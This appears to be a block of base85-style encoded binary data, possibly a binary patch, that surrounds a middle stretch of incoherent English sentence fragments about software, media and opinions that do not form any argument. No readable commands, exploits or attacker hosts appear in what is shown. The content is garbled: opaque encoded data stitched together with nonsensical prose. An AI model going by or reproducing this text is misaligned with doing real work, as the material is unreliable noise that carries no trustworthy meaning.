zdAfH9)9|r4fWe&BPuo|4gkTy*D^Gb_s1Jl-AOqEZ@<;d|{q;@?GXeqwv=oz+~H(wJ+@M z=^mukxpevh7%Lmesv&Jz7L+4zR`;S+nmVhU4ue~|aiv}0P5@kE*NJW^_enp#*W+xZ zcc81X*?-TCE7>&vdVtTbuH`bw`WQx;d|BcMR2~tono{^ z>6{!c6OGWaQ&5I|KrgPSN{jUSslj*Xg!JcW_?GKJBtrnrZ9ColPS8qYHGhXj^>_8x zte{kA(pO)^cO57B!TzrHr3jomUKYe5-EiPSc?%!@{%d@PsGAmrG+yd>!IUXSq&L68w}!6H?sgfdta~q7+AZB3dWQH?@NG$V zF9!i~AOF^V4|f#NewoU+KU^~*ysSZ)$7jB4@lsL;ZR0BzAKl-N1b9&50l43+rBJw6 zEnHAfuIq&5T?1qirM}lJOheaTJNl*FsFakyPUVEt+kyN&%(SsP+Kr;?49CS*^;iyH z7y*2!tI<4a{{i&PDsou&CPd0)@Ch#mhRVYITNWw{+H2Zb9xfLtIDK0YDsR9UaaX^Q z_ry>c6sW(irw0Tta(QQWpBj!vWHWK;O^=k%>FZe@KnTwVM_`1jT-VY*ivAFoLn1JF z3JvMcFIhf_JWU#ld}st_W`E!EWiY$VP~N46Db?A-BCvHZp9X~FaCoFVEJ@*MMg#^y z5^99Ow$@V_fvH)EL{bzQO+&Z|P3RB&cmzu_wwkRps_-2XHRXhGMI9EU!e--P!y;AK z>Uh|2Qx&!*9yZiul3Q&&Tzs>Y_RM&kNEeID36^D4p$j~vaSpz>^e-P6GzLJwpNsD@ zSDW4yI_FWHIDCM)!`a0krdcdM8n8%gUu@Tz-?6x~EEGKY#`V}vlJEb-_qK-WT!SuZ zs@gk_U%o6@I*@EWjD;~rCt}||iooPxMEm;f0?z8y$MJBM7}fVl1jbot1&pbj{$pUh z1yuk_G)Iioc6xBOYPQEC4IDlrMJmimn9h2pT;+uYFa6?;ha!|RXk!9|6oi~2a5%K&-f%kaPQ ziN0Sx1$^L#d=2%GAMza>%)ev(4U#1TQp(eF^^_KJCZ&6WzXzEWC7YY(+BG_Ca(H++ z$djC{sjo+N-KJLcA((s~9xOS*k*?b$)+1dqIsQD@EOJaYwlLpX3 z>YT~(=fO%IY|c1Mj~7z?Ca+%ttiE?79xPlfO|5vY1TM?Q zy5?5poNbNC-RI%R%MtdyMU$`3gOmKN8Oqgc&P3lp|Ht>XxKHBC0{!_N@E^@1FDCp| z58LyMFjgLEP;-<8TAx@nvW@DDg_G>=VqYWNS(wNhU{O7>aCMEfO*$r{I$~i|P^3$4 z9_zO}*%*vC*_g6GHosTdoCewKWo5H;ps%WHaksAJMr81Jc6ool?nmgndZgNbw}Fo{ z26|x{zRa4+26!85X2VfgHxsF%&E2T@VsOD{Pw#*RjqlHqyQbg9a8dtM;Fv)l8Zi%b zOLiX0ozJ>2{WByS(SY_rj8UKlRk?hIB9^r{CNW_a~JPx%>Y(gTgd36-&Dd*X@8^k^o z$HB0eW#lKhJri;8)C>-g=(Pnr8eoNq@sxu;-|y;pN}>{ssw9YDY`q6sl%M+s zGy*c7yx946zdK-;`6#{d;Tt{gEAuxxt?1_Q56Obd9W;Mr1-|9hD0Qu%jEa zYvz$|d38TFIu?TM)_PufuB!)2J9Afblv|$b!^&Ltnd^tX8x+y~(QX+fbnB57hUudX z+;XBBfuXZxYeBZ$%9dG98m!PKV?+K1*nM`+WG+NNL(a;sCOfOOu7O^F znvHjU3=bnR`n|3Ji<>-N0h0M{r1_qohm86Sh5Aao;e#~1gh#Ow>nUGrQCCg2z-f0| z>-f<`QH#h&!`ladr`*ifoJ?oyBgZ_0`_7bWkbW-*&*t|lrU$>Di_3)O`w0kQGrw=S zXYl(d1pArqZ|)uZzTLFo_j4Wi^BtP|;K0Y=e$V0IL?nbV-;Z-}XE=48>eRJ)MF8L8 z(D|BE*KZwuPMR9P-|2kc(Sg6sq4OT*1;fuS7%1lVDGr}+I5Z!3XfAYkJI{eRr!t_k z%AvE};lX#eUoJQ__&(Z^$pcP*O>|(cb$GbJskhH*`Ta_V zhufUrf9BvG=mOXMEK;eBSEt@GD1uu5@_# z(1D-r&_C0m`MM*A6^=eoPGrOL9ZtVo=g9mYP8-KLZJg-z`&G{O(GL6*PM^LHduZyK zN5_PT#%Y^jC$WKffLu)OCbIa~o$|H#mA#@5uQx z=leGt_zN9bxptrjYZudB{Z89&a^!QS(-%!nyOub=*Eu{~?dbEXPFo&wk7*adhU$LjyYha^!iUQ`bd~-rnZ$cAg`vbDg$)*{S!d4sYLcaNl!q zFLvZS#_6x$IePfE!^0n(-*0y4uO1h)Ww|4BT*9!jdf#bRgY$cpqhot354#n~Sx)Pp z{)Cvr1r6OD{e1&{iw4Kf=^nsg#rXUn9YHL>wU&wnHI%4i8BVIY7R<>mXzAN~x)-uvG29g$<&(-LEbCmDS-bIw^&!zr=76U1@dq>w;9vLn17_wA7=OUPVCVFX z{r4}QI{pB#)Ull0o(FWm0f?N))0Yn}I$+xP0~RkwY~A#(B{*&v9Dl(4j_Cv4Cv|mJ zcOfvouLCsjWw2*pCP59zpE%K>$afr*;%~~(KE1ATVg(>kO+yQQ_KZKEWBdWt*tS-+ z&crYC=4s;!E$#h_y9N&}6!cMy#+JziFkP3JZaxrEF{nJ6)s^|H%B`~)ILdd6KG^X; zPzHV6W4HfDABr>+mCBL#VKswSHp;!82Ehl#O{tp_4fu5F7X6?AlsBu`{WNvNCWNyR1+wt#5 z_%{Ll|6}}=*Jbd$TJ79?_3Q|v_uh{gvpZpq-2{>j~c()0A= z-T!(2^!Lqo^Yg(UuD|S?SDa8`en!7X|K942y)WD2m~-xIyJy1}4{V&%nEl|5KQ{e% zzefz5`T6L7me083n*-UYC(OTaME47yym|VSAO7n6%LZ0I+tG4R%SBHbxGArE>!iE> zwC8y9_m_@YGjqfh)8~F6^Sgg^{i*N`^L@BKH@M-C^KR*X_x+nYUO8yvJr{2Iz$vHP z_UF5ne6@e#Kkh$kS=FM=-&ryBfnz7%8KuAVzdNqD;?ZeOp8UpH$Nzq#2j7a8ANJlI zk8g3x^he)#b>h8)myh|?)0ez_MRw=yF5CUUMIZcOkD15ZaOvPNll#wjCW;sR`^TSc zx557Vwye76)E}Pq$>rm2U3BH-73V$N-}C7DTVJ$&UFFv1=LUxyve8fOu4z2xm9M|O z(ZZ8PytVqox4*pCftjA?#{OaQh!ZD&ID5?4&aLL&5~W{p;Ds;j@aPfOZgk8``&Ttw z^c7RyH+Iv_&VFs4mG6k-XI=jH2Woa*amv>YJmI|6hZ#8Y(|lk1g$w_6+y@WOY53B( z@vl8ze)}a$#_llZnAdl$`{g_TIqcm%CmQ(ZPlIp1U+~A1Pe1ar7ki(%;xjGJhLB4(!_D(6b)? z)qyuZz4Jp`pZD*(%=b%{9{YJW9+WZ~;`Gs?KzvjAAZ#yOWeYk)3Z?(nV3$EU1SrY!CKi_4q zEB0J}m*2m1)>-54cw&Tsdv)K}?#k}FP30%&9eU{EPv3rLN7uo{yW=0_xs1ze({p)w{6(`ikVNmuok|u>JT)|Mk>iyS@3=V^5jyqq=(c8-3Ovmdrk&s(Rv2+FGjbJ@yAnZ#cZ_ zzrXvaqiv^mXB4h}cJD8KY3wK2lV-g9l?9914c@!C8}8rqfeZhB&-jkr$IqHyX1+i2 zQufbVJTY>IIS*~K^Y)(|^u|~Ia`-RKe7*7JimhLL{%g1G_Q45{%{%!o8}2)?db`KY z>S_D$&egZS`f2a7kta{u{J2}c_3!mRJ7e@2U9X-0&TkC8g#V^)%)YJrfL11jR%gt<)@EiZr*!~n|IsG zz#sR*?sxt>`;&hyxOc}Nt$MqBwfTO@^t~ruvig!ErXPRwHxB#8l4&PDx~3v`-#%L% zcYOYu3s;Rga@K-v|8?%Sue#--@0~pE$(w(WKWXjc6IPwRb?5v;pZ#*?>IXL%_2u8q z`Pc4QJB}vYdf}5B)LhlM$s=Dq?Cg6+x0re!oVe|&i?5z?*!#0ynsL;hwtDe_?2~)E z^u#`&nDV5bzwJJ3limd%?PcaAWA~!)+l;tu#^GVOuKnKA3vONix!X5f zvi7dyrv7E8Q9oPz^tM}`(0uHzOZz*so1MPF$79ZXY^U-c-u}YU-8X+~=A@55dZYfE zx3u;2evtp!4Tpbc%6pI9xnI+bbz5)q-4~V|vi9}d%E9d$4E?k}r*yuz__e$K+j8sL zygPo*Up@Nx%cf6#_1=$n&%SlbIXCWq&)J(U`<1tD z_r2JhsE;J6?Uyw_ab7&CY*nt3R*ETyo?$`|rQ)>}9X~d;OEg zKm5dhPQQP@FFy13QG4t#bA!suN9?}e+qdkq=T3t={&?;AfBWaEFTHp7!%O$x`^n3{ z{OOvDHmS~B^z17;?|S}ow{O~VK)!uJ|M}aWl&^YX`={QzZuG&2O!&qPo0)cfZ||>e zH)X>$Pyb`#&6izp{iR!&@BdhJ)GOUb-ZkZ_vq$w_cEO2DcO852;>l}1+-J?Rt*8F- z+V@}i!7j`9&s}_owfiG>-FEKehF340_~%boo_Sx##)i%v_fI?W$CsUQ`tO?VTJ@V- zKkqr`^*`Nx%f*ZT&y<^=PvjTgbH~;rero>CpZDqPPmbOHEc3VdxzQ*8S@rUxj|?XL zZN9I(@`N{DxxQz%`FrfblWzK8+x}_5+$`uRo=9Qyp-i@T%c_a1r9 ztskEF_fOAyf6>)*S3G0avj(nq%|@I5;meP7nZM0X1HWh2{@cE~&nHX2^xBNBi?_S% z{?8u#>->g~+8uT~vSf zt-Bk%E&sIJ^X>0^=>qe2`J->$cJHnKnfBh#uUNL^xY!$(h^(Dmv~eFpFE7u&JEa-}Qpe_viSB|BroYpyiqQ_gOYMkyZ+kz-!6D?+gGB0N8wC)^yemPu6}ys zM|Ydp)N#V^KEHP4)~5XP<~4_Xq4$p!=I=L7`{=zbpW5ep_HW&9J@Jp@{@a~vdoKF@ z^A~>elX=ZY-)6r5X4%)b{Np|Et}%Z{fByH>_127e?Aqs~y}R}> z-;;ix{^a-Ho7!^Sfl1|epLX`Ootw|vGO7H3{r$!rFPnP*2lri)mhN5y<1bvb`nF#h z_$^-k`(}$@{qZk$IWjjefBD|Kzq|SJ_bf802s%FYivUtYE5?)l%^Y3Es6?fHJ^th2WH z`j5}~Y|WLUuh?s+_r7xFM)`Ti)Lpmbsi$A_S!3Ih@7(s6rH0P`zy7@Z$lj4VwCwre zB|F^I`9aIyessZ)+OA)E+6(tief0~EU$#kE%TG_qcWie3Pv80Tm|LG+dExbo4t;y4 zU6wt$-J7O8?Q0&tcEyiAx%($Co&NdkWlw)(zMnf6H{>oEKXCUwdp3N0%J)y$q~@iL zrM;(FIU2Yh{_2)8&hs@q;-&arEs4(V&it69oe)s(!%s%i33pPA!LfwJid}!p6*W_P(@y!2^ zy|)aiV{7+)gKMzh1PxAbcXtc!PH+hx+}#5KLU4C?f&_P$V8Mb1LU8B2Rrd@&WYwzm z?z8u~wa>Zt)4zU?_2`~+b`R<9Daz?=tA$cLvk>{PzPwIct`k`)mqg{#`pniXd?Rg& zF~Ky1d~0>l%Y0Sm1)H^rhD~}vmT);zbv~TQi5v_u}LHLtF+pYFx2S!Ye-~!*(Jna zg9~%gNSZ9hiPO*X_aN_oRfpUgN&Wko5GLxUT)xO|Y&uYfl!O-_)dYlvn{{nx!~U<< z1$hT*n5rl$UW8J(H)VmRZlZaklkuCQv33SVv@VmWn}t!ni2i&_?2_I_v;L>App5a_ z!c5GtA||7@g}oG&^T|LRphDTC7Ao!ETqhcQ5LDSJpaKiT+S2FqS>JV0B@ZN`9DXJ{ z;;k#e=Ss`Ty4L-{!6_KlL;Z^tW;UbKLUp`t?gY$1>=LSxVR# z4Tqo%v@IKJgNkKyt@PAf=cU{}9%835c{fGZ-JN{44&y@(){8otcmwB`Q)%}{%A`t!% zMNa=u`O{GuI0a?JasL$e-_>uIR~k@Kp*Hqk-M$y+b5$$2&P4xI*VV4`=CMHeX+8Nj zZyy9E6jlewQ?z&>%q0Fk2=AZsh=6%=vWb{Hq3*arB9V_VM1Z@D;E5RtQIAF2ie3|L zd28a_m|*$a98K-j3OGL;Go6+WtWHH5rcqle6>>h+1@*~7xg<~1TJ4%vsG0If#GlTO zHXNCRR-Rf5AP(rwZqoM%St~`rK&R-HwFynur?a#Z)&9hU*vA#BpK>8FAWm)TKFr9`a7tD_`x79Ea@9r9KdI)BQnZ-XACbpnkRXY z+-9`uIlqtZ3cxGd^+OaKG@OAroG&Uas>Ym8>pG^UR-32Sw@>q7QpL@7CPzX+ApRX< zww{~Vi3dAcswxHS`O~_3z~yeSbO!Zb`ay#9^C;>;O`RZLqp7>LKRc^s5E_BIz!*;8 zqMys$Ej+7E-)!n2%BVZ2gUvq4N_gjK9FvO>`}HB>r!vSVs>&68R&i~p#tnceYDW*^Ohz} z`pi4KP7pe1ppIP@&%$}XtoTy+LTR~vHbGjTEcKO#ge=RS!;)IqvGHNm^SFI4IQhMC zG|+z0pYVQxw3#kAn#0{o6dI1Zw`AoKA?Dc>boy292a@HH4J&=^G+E+!sgEuZLGu>l zj!pdmP@#+M3SBd5vbK;*Pv@=ic<~*!pBys$ACG(y{S=Bp`)(LnlSbWl!~nnaf6fSb z0Izr%_!)zk%3>PW+kOy?lwzNF)%ow*pblu0ot#iY)IHP_0{_3O0%vMU{Rr5!|8D$0 z#bL_zC_x|5{NwfIpXvbrva7mbmE9UYf)n-bpvHG{puqp9`nYnwjuQ3xZ#SO#vz>pk zJZWGP^qPI&pY{=jO9#;b^{4fbU!~Qn7J5}r_a%UMiD=}v3Ki4eKR0qd8$!Bysjw}} zZFc;*!lwFo5DC6sP$+9A^EORYu*$uol5Gn5ZIbqaodThB!OSK1$M+TRVxPN(LK{+H z;*p?cajE2HC}iZRbWQePp+6NlzzA>3Ja5sFOTM*&c)8DrgQbisGCGl#IC{^KL(?Kg z^_2~qlj|Uz`AY{P+|zXnv`bM1r|*5)?GL~yb42G6Bnw4=|Dsz+YEm?JPxJAA@&7T- zT7qToA=hWi2XU{$mKE6z#CZW{Z#C1fLpw9W45eaxwupT?Pe#88d_ID#p}4UvpwDen zf0xIz;_UyCxuGjSj;2|>zM5e!%bVld!&hqe;TtOii%vfFy2lWSMkD)hm7{Ru zVYi3jzsxICw$)@hq(W%G4y=%rZn&UR5$(Sv$PFq5b%7$yY&E=)h4{H#fK}Z_E+|?^}SxvKDUH8R}~~ z-K+%a0sWd0zIf~8OI_R^88V+f510Nq&{)eL*U)2vn`XsWRUNDcDq|PdtEf@!wIdrr zel-q#1o?k5SkDA?RUjd18F1>k&1bB+3Odu0K;Gl(vmwTG&!_9HXQS~~7d`#I+?PQ; z^voydJNAEiz7}lv-&LghhDHtBw>rE=!zC{cussRcd}&c;$8!HE-%*VCIIL&Kzj|Ug zDs)xH%oh8~-Y~L)$i@ex(xJN+ch@lqVTy^Ou<=1`~i-l|F z$uud8zW5>c?I^~`t4+0i6W#ljsl$OwctdWoI&+DtQ@xJK9g1ITE;B0l`867`a6IB zN>~2;Q;OrIOt^86!Jqm6yP0OsO2X&;!O8#b?MP{$HH;X1^2UL!N__U)>#6_TJR>mIA>XYtxShSodg3k9pJB3WNy{83j%`RdE9HX`+Z_J2u3ho01r`Glj&DF7(E1zFwy8PG zP{2Sfj6HWSV}l_E`NgfL)nD^GfBCQ$w~3YS>kelh0Co2M|EMC#)ARHqjpH*N!DIFwX@YTiclx=&+?9}tjgnyDt6=Qo zFKlA!^3BZm^VU^ydeK4eA5Qmt$uoN}CE7oUtKjL%Gn#2Vv#j|Vs%#NTby4en@eN-6 z4GN_xb_W5JQM*an_F_qiu2^5*ca>=8ue(K9PyOp}33b7yjZjx#b!{seE3Mm$lN40`-AXqNS_P4`fR6o$5Q=L^y;7#qnxUpr-a7j&9Vmxxp|nNgOBA3k zpMI85r7e$~KRA?Q=%Ez_@3=(^!l7GTQ&h&-7gdaUymSdIlsb3;xS2D*UofI~AXdvp z?-Yk83vsHYi?c5~jlJ7O;)YpGy#WQQjLXOQB6H+<;5LSDiVaO(0p4@bzs#?23GPc5 z7`_Vvn&#YmTm6pj0~EHM*G3A~ru8!u1#iW5_Wb4(p&534_b)!)mAzxiB}?jT)RuX> z>UJoD*PU8$o+%HrADy;2{`K)C@oLwF>1i zf5t^P)#oFWYDfVF`|)RoxEDJP};_Cg{5;ZWfq9lQI$he5SJRvHu-r)j{qJ{dj-+i*<@1U+1)|l6zxI76%k#)wFv} z{glTFfl`gZlJJpu8s~sKfzdbza`zX%00Vu86dmAH9AM{-HmLp{(&QVk0|n=g2(~np zeg0n#_%G5YzSUX&<@^hw@GfCdSJ!=pNld5Wu6$s{hy*+L0qBP^2LAqyZZ0CA7~xA-tV1zBK~)` zujJ!rZi`XOkQYPv<`V*q0M(G=t z+k5K1m3A<2kk7uSH|1kH_$B#PTqWTl$%Y8zaawN^A}m_90sfEbpZ9lzd|;<`%*z{x zm&*k9cpV+NfiuRZd3nx)IcW9tc1Yj{I&s=%?Ru;6)L#bn$C3$-^HCnxz>TdXT$)00 zVE?aDyl<>Dsdnn?u->T8Hibw__w+t#mLhT|(Q9CI*$eu-QYEIp|7~X%6^(^sd3i9H zk}en^nmC}7!tZO-ymy2)osu{G{_^Dy0_s+^O%`RnAc3%hm53ZVJS9Fuo7_7WsiLmk zi8<^ZZ~38xj-146Eo|IfW&Uu&r~Zg`(}WL72%?d#BNV=+3p)Ov`^8o0-KB|ROKAEn zN;Q`E+tWJNV(VPLGOt>ay`F%qr192p?ta9 z(987+iZtigZwsPBkMKUS1iJI^Wu)~pMWF*Cw@26*vN%i!rj`oS<%7(y1!uXk8Qem_ zgj(@!L;9YS$Mzd+-U6DaTcdmHD+qmJ0=i2pu6LFcbhT&Q!ez!} z&)=&E7WpjJSB>9e-n3sEwOx$e;g=kF{qj=RK3h2-zBFOVlt7U7w?DSRBWYu9_(_se zAs8UIotU?KAw;|t4F9Iqu^1z}wJnQ}XY3~$AJZPAVuC;!Q3jjpi^?e6h)GqL(122} z>D`)-bcgjt4q=1~B7(TQTVq}gz7^XW5q@Uq>enR{I_ifE;P^{Md|3ae#!xXHEAhDS z(>4i;ZR{~JnD-X={i+C9pWn2V2fPYi4R;{GGcek`Eu173a{bKbB{KAq*i%X}3?A=; z{gOpiv){q$US>-E48EBB&oaUI_ouT*21472ql=7`Oh})nYY-3xO*#WVa>CFbz4Nu- zh1l{{i`X;q^E&P_PWJCuii>Yz6(ErMC1ZDR-Fk#izYlmWH2wIc(9f z*9h{o<^=Oe>AJq32efeH#tgFo`*?AtZ-=}3)xwQL2VS`2Rw8PQd$z1Gq~M*alsj?_ zGb)u4deMHg&q+n-eE%3UWxbAbI!4ph=CptjIw2=RV;Saz2yANIv(ZluRs6Qm#)`z; zqVzTH%Z(p28=r?nr*%NNsSm7h81N-fIDe_^qzPDF@8bVT89ciCu!HfD773P}1~N5p z?9PL-n>uHTo$OOmUQxy^mM2bhEsw)!q#AP!E_Sq|U0ht>a1sjAL{X2BCYoO_-d8EE z=Hv~HIR)y3dzt(nyQ3Gs7i;m0gim%{%HwKX5U|1ik^T~j{h)wI|9q)#Vk=D59N3wj zo8+(V=f z;+5?CuZATE-NwxgVtziOXwDWSM(`QDecl7TK*bcd^D%Xi>{*aXhuG+*`z(W1RXO&X zXFIbrrq|ZzZxlWWgryiE?_t42h~_}lu6dYG$G==GHF3#I-@|`H-r6bmaYODW9ND#h zU95C!z>HosGYgI`Y{33Uef=L!8;MF=hlVPr6pdRoYsuWkg@Ryz_;X{Lr5a@3@+xxdgkP~Y=HL|Qf9SS^Z6W5Jh(=1kb>Th)JH3)vF4ytabm3gpKlCRbG zp2ED_5)F)EUm3w!Je(PK(Cl7WQi?>5duGObY+zs!s%=<9-{NA%jdw~#=M=z1tQN#@ zAZ+WxKtyq3w%$Bzz+I_J53@d|-e~}|Z=th- zXUTa>*NCGQIzy?C6WEzHR$D%Pmp6{C*J66VRK-sS%{1RmAd=ULV2v7Q&mzuDve4xn zpy*Z))1k+qCq!gkA=mcVtu!+-bLox?uKWdUCe{aAXZ=8b3^nHaM^xwp5i18iVV_xD zMADS|Iyr-RTJtx>7uk6o!o$E?I9aS2 z&_A9qo66H~|ME0GW9JfWQuFAD(+NW`=y3m-4EA@ySJ6y2ozXm=XJl}L5qVH9J&y~m zIIHFAuFI{vBs3>0m2w81l=U@;KUMt@C7@t=4_M>5NZhPhX9nQO#Jq9AdR_y-H#TO_ zbBh`Jo4CaYLcBOH?9M*)3!f*jru0vFS`DNGf_cDl1|u;F8vfO}l}Tc~ybE814=}?i zBKf?su#c{mGG(PWZGQ2<)K! zZ|{wCnn_9C1MN&o%UAq;^q2AFvt5WTQI_V@`E6OrkKLvCA)$>-E_F1Xpbk*20+C*H zIp2LwdgvoqsfMQJn9#CSe77}?0}LBRHFzY6Z=;kopD<8CyxD-NCx8BB8DM6Jw?kC6 zHZRg~iHuVw(cpTPdH8uFN%Uye9noGfi+F+cG7vw?q<7gsy?+518s2U2c&Izy>*9WX z?mNq+x!WO*!@TBTu0oWXI+v7YZKk2(EX*TIqipEjC*fCrStk?C=oM<=J$Z4PPq0^a z-R=eI{#R*eL({$Aj^977-{2q72EYnkwO&P8_*X=RKK!};`uG)0&Wt1(>*-^S74Uf%eFm;Ji3zE z-+6mA3&4H@`e(hJ=SO5$yV_6p)j=Mfpv4Vlg@bxPf&K3k!~s1or8}}u4X6eTG&$oO zp9z|+4b%Z~e;#iT5Bz|E{+aJ`*URmHpq1jMENG)dhW+;M@<9H7mHzbgglpPw*8RKp zy=c>wVA&Dnpn>t=vnP zqD*UoAlP4lJzE~gT#`APv5qLrs<$bSd7KJ62z`~t$w#Gn6_c1p$?PBx=)<+`mpgJ_ zM4Nq2CoM?A?8vCRMe8i0S#(i2ZJ7??H-GoMM}8-r{7>TR_!mmmyD#3LVFML9B&unl z|ILvoM5tEH#al{gxj3P7i3Xs?=3 z44e?>>DWCwh% zKu3GSdDgkCmxl>cS~#FTD?#d`eX0^Qetsl2q#^?Ojpj<-)QOr4oqdLrmxEIGnSnGM z2~w*&mm@e1!*IV9#|WGF(r|w`d}rmgZr}{FhKd)%OF9mbY@6E+`CVIB_eSHik)p^m zOmXl|GT*0ouD-Ke49wSJ(^tz76?&zDc{?=c@|Tw@4o}xP@c9=)AW&O!-=G2o*FWI@ zQ~&fc>e$;G#EGPDCa)KL6Y_mpKLB|X6lWTH9ruoa!S@j`Xdh5u|MNPF9;LWgCpcb` zLC~>F#?|^X&(%C|+xE{Lg&u7G$)Kd?f>1mFCU|p6;a=r*s0zz!^`Js+ydGi zk)wmR_|gCA_wr{P>4}?4()5uXcs~Vr&jrW_Iz2ccl8O9MSzwG-&L+%i2*iQ+PysuL z2MXqs00RZv19{{5gR`=7gU6sQh$EacAPT#3j|R*kMumDn;R;V}r97fXUDJYmT}`}a z^mzvC2UyRJ^@4`ZfH9>5c|b#c+BO7}Co=(FV*k*1j>4J>7(8zT>P~wIyvbY@H3xRk z@2BLDF}COneIG`3akJwsYm^$j^{>}WL7iKrelV4{f2++JEQ6kjwTV!-wPrWBo{;{w zq~RT#%-~ix12r|I8wsPf(;~8!$=t~bJ?ikwRoDdTF|TaoPkWJpek@?jLgb%vn5XDxKC%Q~v9n+{%t zZodnkz8B|!DH4q>*ijkT|Fk!ZP=r)Ti%Bbnn#%2&a3%mG!q3TDazgJif zL=SphfhbRGN{MEz@Ltwtp^$WacI%A!Sr8Kc*uAMTu_s%vxaW9eW0HNj+>78HI_Z>F zZxXhL3oiXF8Vx)746SI9;0I!;DH+$Wy*e(H_b_->7PpI8kS$ zM)SP`iKb_8#r+h63m3A6P_1UDXw>##c-C~zS5D#=R*CT70rAXtOx`%yi~2i=1w(S? z#w(G8nAmo!Pr8P<45Kbs9sCyJFx+f@zQq?l!stFw z=cX)|wi2hLNY>C&I7oGCWgpyIcsA$zG*6U(s>8^^J^i$<_*Iu(k7U(-F2i6KvcB>< zOnlkL5y>ZH?#k!6H6Ew}`j3E=nH36Gqq5+dQDPvOg zyV{E^uxpOWi5MJL!2{NZ&+$z`ZhV6SiMMs*zz#3+el)>BLA)fHVo3EAsR-kR6AOuo z%A_6p+oltX3#sm`dRreWqIuU#N4g*3nfOYVc#@ms{i+gS0`9sP@6Pm~v>$e%tN2K? zDp*~Fy`I)BTtmt|bVxZNzWCN~qRHWKgYEIZLT6=|j7>msVC62f4ZemRjyt<}X)-On z=26hs(Py>L0xQ_QHGufj(){yJw<9kKM8UH{CjDegO04Ju-P$S5DjHJa!GY%A#nZfd zV>>3jVmoBw^8Rs^aH7Q{)|6lW^(a^J>oDv1vU6ci-P`qZ?6}VhP1TIlxzeQ_*$6n4 zWr)s!Md-LLs+x$!8MZ&Vpw4R=1P3-6o0-R>b}O7KQqzSjuZOjqI_{r^Eyhbey*JAp zHTxrqF{&x`yX?)&RUdD#KLcOfTa61XbyGg=aGWL;dc95EE`4-HLHey?@ErDE|4CP$ z^5$LWnfzvVs`JwCWcjm>=&0u2$OpO5-fzDm;2(Y}Bg;JaPZV;lW%XWSo7&G`*X!`-C!)*X{S`)5 zGBnkR>WT9gHs4mrJSZR|A%1k@MMsg-L~H&M%NHw=Q(L|vDAf|$QNm%D8_dLDsmN#? z$i4I8uU%!H_eHg4{4maa8i$DOU&;0{;^iB#pFl6;Q1`p;KW$L&$NGgY7G(iD&@+f~ z%?BkITriFgT)U0hYTQO0Fbb`VZ?)Wp-dLO*;)cw#G04I?b=bi0fFg<4s#(~d^fl}H z^7&^toVh5iUpLmJWGv(_FsJsBi4-eQA>3Em%E3aI0rPlM zsQ$5ClLHcbE};Ed)GZO*+52OFOV*`TX8VovZ4n2gNnMlucW$IM2)i?$=2vgFBI`c2 zC>g5a93Og>{O&?Ufm)RPC3@WZgP^dR7|9K=xoQH{{@d9tz-=zPXl5g38h{rk8smb8 zhj*0WROX1Y41zx3g9i#>E=MK33>xo-yfH!|0kHKR) zz1;s6D1Ov>KX#Md{NrM13I+H}1RBo7>s{Lci-qQA^`-9Z%d4Qfbv4Y0b(dnvzfpE? z$2TsKJm^F?AC4npNoK3C<3{tdA0o7XOG?J*h5Xb^E4qaUy<|1^xX?!I<=O5ib=Qm2 zw~zjvIAg$Jk@35ZOZV$vB&h;HN^Q)0*)r4U_C`X4eA#IO#g>Sd^Uy@OEr5-`mG;)Z zjT-=b@ls;LxH!~Qc00L%yzj;)MN>Z;lJLDn?ivxQ5pM=w0dIb>@0W~+16V}60r0<^Vr12OnxxqQg&_u z0S0x4!70Il&(b>&Zhb_JOpY1YSaE)f| z;#lixwe)gyQ+dA6E3~wX@-2f3C)R$h=qebc^NDgulfFzm^_WBp%bH{MvK@2fc-U*3 zl22GmowJy&8Tn@JjV|CI`he6j4%Kg>L#~I%a;<}%GCZW-HC|TqTj{^r-6ei~o75+N zzk6SDE;h5KDzPb5P#1-(5%!$s%TDwI%$ILwoK%PR`snE!QYg9!cpZ@LnxTpTZiw|SQeWg0?A8a- z+yGM)rIXewsY%MifR$OP^xm6s;UG`ON=!U$I|2l7-BN@C2PNB0AOzGQMTn1 z@+`n!mm-3^FXN*DuXQ33Y>LG30-n0^nH4y9N(EdUMXio_X(fs|K;9C;+?e!Jg-CsO zOgJxQOa{Y~o)=~*Ab=+_n-tD7yD@KZ+sz)>M+(Vse%nF7Zy|R;lW0%K0mjPh!l6Jc zss{XO5hL)EL$M;@w|4!CX zD(x!p+ynA2sM#O`(+o<|+M z)C`@Q3ln#I+Bye2>v@lU6-@il24_q6o?o2ADqx~6nI$@^u_ob1Hd72`vAk}%9X7Sf znZcs73x)fC-55LZAXmxod+8_O(mPluCf&ZGkjdBrncz22zl^G1s{bTJFa0sc#I^ya z|C~4TVcMV}s=8M*VU z#RZ6)SIx5uRk%0UB@Me5C$ySwY=F6Hyb|NbXgdJ&DOf*mnbJvx{e_N#I|(DVJ@GcS zIZ0Xu_#ra()~n=RU5>jbIibdJxxawK5iT7=t^~*12kKTD)5UIHDn;h_)G{mG+g@&@ zXMvyfY=PggexL$Qx);_-i^OoqS6=M>sCS+UZa8m8;A#x<&*!gF^6)fcmJhBj)O(9# zKs{AIo!7Eo5}{wJ#$j0&*j!fTLd#%(I4^IDf0(tRf1oIN?pb5ajOm|nyl?jNX4IMh zvb}0k`)f>azFVIec$uA>29rdr-q%mUpKBN5S{uBYQx{01lVl;;dXu z4FHTK!Tsx%LJJGvy<2+u;MAHxz-7jw=6Gq(U;!`RbjtJgz()Xnbf$lWMcyF;c)x(a zTaKiG4)9cop{s@1Tp!?PuXDGzW5bRC3veWLXUMW-OI?V^^&qX82OSzVChDG4kAIO4 zy+RHkgi*%hPTlEDjyWW!m-X zgnW@^lLmMc7wb+9Q&I!)4}yeWNS9t{fa_-FY*?)y`vBK?OXIhC)#U&lA36OYV!W{l zSVzCq8`_j31aLgL5sEn6h!9{7jIKw`r28$vzdn=H=(qt>uXV zq2ml#&vR!Ed-0>I^%=JSqo8(`qovvz#;5k%VP!d zSP=i6=b&OcC@d53<``O2mY7{4V3+zMDK-X}gq1*J%Utd?yNI$e(n@W@U#rk`tN=^t5Qpsf5o-gkKDM8d%RyKN3~A?A-A+=50JsaY>0xI+_E$*AVbTYKe!@c}FP^l{oO z8#d_Q`^BBY*Rj~0f&P7+6JtoTD7tv8`xLnySM9*tUEPRQ9v-X=rYfJ<#< zB>MGK_y8*)s+^WL;@|?NMGkCKOffb{=`$flr_^K0f1MqxLcH*%hmwH zo)@dIOzQ~&X3E85{Yga83^<+KYiq2+t2E;!E%#md?G${FM$aj$!E4}ulN%ahlcZ_{ z*oTkFdURzF3-GkajMpTQVwAtx2Ol#T(JltkqQc8+hA80wrhOj$t5Am!@Oae6qT~-q 